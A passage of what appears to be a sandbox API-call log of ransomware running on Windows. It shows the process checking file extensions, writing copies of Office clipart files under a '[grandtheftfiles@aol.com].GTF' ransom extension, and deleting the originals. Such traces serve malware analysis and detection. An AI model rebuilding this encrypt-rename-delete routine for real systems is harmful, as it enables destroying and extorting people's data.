	[0086.335] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.335] lstrlenW (lpString="DD01366_.WMF") returned 12
	[0086.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.335] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1768) returned 1
	[0086.335] CloseHandle (hObject=0x378) returned 1
	[0086.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220
	[0086.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.335] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.335] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0086.336] GetLastError () returned 0x0
	[0086.336] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x6e8, lpOverlapped=0x0) returned 1
	[0086.337] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x6f0, lpOverlapped=0x0) returned 1
	[0086.338] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.338] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.338] SetEndOfFile (hFile=0x35c) returned 1
	[0086.338] CloseHandle (hObject=0x35c) returned 1
	[0086.338] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.338] SetEndOfFile (hFile=0x378) returned 1
	[0086.339] CloseHandle (hObject=0x378) returned 1
	[0086.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1
	[0086.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0086.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0086.340] lstrlenW (lpString=".doc") returned 4
	[0086.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.340] lstrlenW (lpString=".docx") returned 5
	[0086.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.340] lstrlenW (lpString=".pdf") returned 4
	[0086.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.340] lstrlenW (lpString=".xls") returned 4
	[0086.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.340] lstrlenW (lpString=".xlsx") returned 5
	[0086.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.340] lstrlenW (lpString=".ppt") returned 4
	[0086.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0086.340] lstrlenW (lpString=".zip") returned 4
	[0086.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.340] lstrlenW (lpString=".rar") returned 4
	[0086.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.340] lstrlenW (lpString=".bz2") returned 4
	[0086.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.340] lstrlenW (lpString=".7z") returned 3
	[0086.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0086.340] lstrlenW (lpString=".dbf") returned 4
	[0086.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0086.340] lstrlenW (lpString=".1cd") returned 4
	[0086.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0086.341] lstrlenW (lpString=".jpg") returned 4
	[0086.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0086.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0086.341] lstrlenW (lpString=".doc") returned 4
	[0086.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.341] lstrlenW (lpString=".docx") returned 5
	[0086.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.341] lstrlenW (lpString=".pdf") returned 4
	[0086.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.341] lstrlenW (lpString=".xls") returned 4
	[0086.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.341] lstrlenW (lpString=".xlsx") returned 5
	[0086.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.341] lstrlenW (lpString=".ppt") returned 4
	[0086.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0086.341] lstrlenW (lpString=".zip") returned 4
	[0086.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.341] lstrlenW (lpString=".rar") returned 4
	[0086.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.341] lstrlenW (lpString=".bz2") returned 4
	[0086.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.341] lstrlenW (lpString=".7z") returned 3
	[0086.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0086.341] lstrlenW (lpString=".dbf") returned 4
	[0086.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0086.341] lstrlenW (lpString=".1cd") returned 4
	[0086.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0086.341] lstrlenW (lpString=".jpg") returned 4
	[0086.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.342] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.342] lstrlenW (lpString="DD01434_.WMF") returned 12
	[0086.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.343] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=900) returned 1
	[0086.343] CloseHandle (hObject=0x378) returned 1
	[0086.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220
	[0086.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.343] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.343] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0086.343] GetLastError () returned 0x0
	[0086.343] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x384, lpOverlapped=0x0) returned 1
	[0086.345] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x390, lpOverlapped=0x0) returned 1
	[0086.346] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.346] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.346] SetEndOfFile (hFile=0x35c) returned 1
	[0086.346] CloseHandle (hObject=0x35c) returned 1
	[0086.346] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.346] SetEndOfFile (hFile=0x378) returned 1
	[0086.347] CloseHandle (hObject=0x378) returned 1
	[0086.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1
	[0086.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0086.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0086.347] lstrlenW (lpString=".doc") returned 4
	[0086.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.348] lstrlenW (lpString=".docx") returned 5
	[0086.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.348] lstrlenW (lpString=".pdf") returned 4
	[0086.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.348] lstrlenW (lpString=".xls") returned 4
	[0086.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.348] lstrlenW (lpString=".xlsx") returned 5
	[0086.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.348] lstrlenW (lpString=".ppt") returned 4
	[0086.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0086.348] lstrlenW (lpString=".zip") returned 4
	[0086.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.348] lstrlenW (lpString=".rar") returned 4
	[0086.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.348] lstrlenW (lpString=".bz2") returned 4
	[0086.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.348] lstrlenW (lpString=".7z") returned 3
	[0086.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0086.348] lstrlenW (lpString=".dbf") returned 4
	[0086.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0086.348] lstrlenW (lpString=".1cd") returned 4
	[0086.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0086.348] lstrlenW (lpString=".jpg") returned 4
	[0086.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0086.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0086.348] lstrlenW (lpString=".doc") returned 4
	[0086.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.348] lstrlenW (lpString=".docx") returned 5
	[0086.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.348] lstrlenW (lpString=".pdf") returned 4
	[0086.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.348] lstrlenW (lpString=".xls") returned 4
	[0086.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.349] lstrlenW (lpString=".xlsx") returned 5
	[0086.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.349] lstrlenW (lpString=".ppt") returned 4
	[0086.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0086.349] lstrlenW (lpString=".zip") returned 4
	[0086.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.349] lstrlenW (lpString=".rar") returned 4
	[0086.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.349] lstrlenW (lpString=".bz2") returned 4
	[0086.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.349] lstrlenW (lpString=".7z") returned 3
	[0086.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0086.349] lstrlenW (lpString=".dbf") returned 4
	[0086.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0086.349] lstrlenW (lpString=".1cd") returned 4
	[0086.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0086.349] lstrlenW (lpString=".jpg") returned 4
	[0086.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.349] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.349] lstrlenW (lpString="DD01585_.WMF") returned 12
	[0086.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.350] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2524) returned 1
	[0086.350] CloseHandle (hObject=0x378) returned 1
	[0086.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220
	[0086.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0086.350] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.350] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0086.350] GetLastError () returned 0x0
	[0086.350] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x9dc, lpOverlapped=0x0) returned 1
	[0086.687] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x9e0, lpOverlapped=0x0) returned 1
	[0086.688] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.688] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.688] SetEndOfFile (hFile=0x35c) returned 1
	[0086.872] CloseHandle (hObject=0x35c) returned 1
	[0086.872] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.872] SetEndOfFile (hFile=0x378) returned 1
	[0086.873] CloseHandle (hObject=0x378) returned 1
	[0086.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.873] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1
	[0086.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0086.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0086.873] lstrlenW (lpString=".doc") returned 4
	[0086.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.873] lstrlenW (lpString=".docx") returned 5
	[0086.873] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.873] lstrlenW (lpString=".pdf") returned 4
	[0086.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.873] lstrlenW (lpString=".xls") returned 4
	[0086.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.873] lstrlenW (lpString=".xlsx") returned 5
	[0086.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.873] lstrlenW (lpString=".ppt") returned 4
	[0086.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0086.873] lstrlenW (lpString=".zip") returned 4
	[0086.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.874] lstrlenW (lpString=".rar") returned 4
	[0086.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.874] lstrlenW (lpString=".bz2") returned 4
	[0086.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.874] lstrlenW (lpString=".7z") returned 3
	[0086.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0086.874] lstrlenW (lpString=".dbf") returned 4
	[0086.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0086.874] lstrlenW (lpString=".1cd") returned 4
	[0086.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0086.874] lstrlenW (lpString=".jpg") returned 4
	[0086.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0086.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0086.874] lstrlenW (lpString=".doc") returned 4
	[0086.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.874] lstrlenW (lpString=".docx") returned 5
	[0086.874] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.874] lstrlenW (lpString=".pdf") returned 4
	[0086.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.874] lstrlenW (lpString=".xls") returned 4
	[0086.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.874] lstrlenW (lpString=".xlsx") returned 5
	[0086.874] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.874] lstrlenW (lpString=".ppt") returned 4
	[0086.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0086.874] lstrlenW (lpString=".zip") returned 4
	[0086.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.874] lstrlenW (lpString=".rar") returned 4
	[0086.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.875] lstrlenW (lpString=".bz2") returned 4
	[0086.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.875] lstrlenW (lpString=".7z") returned 3
	[0086.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0086.875] lstrlenW (lpString=".dbf") returned 4
	[0086.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0086.875] lstrlenW (lpString=".1cd") returned 4
	[0086.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
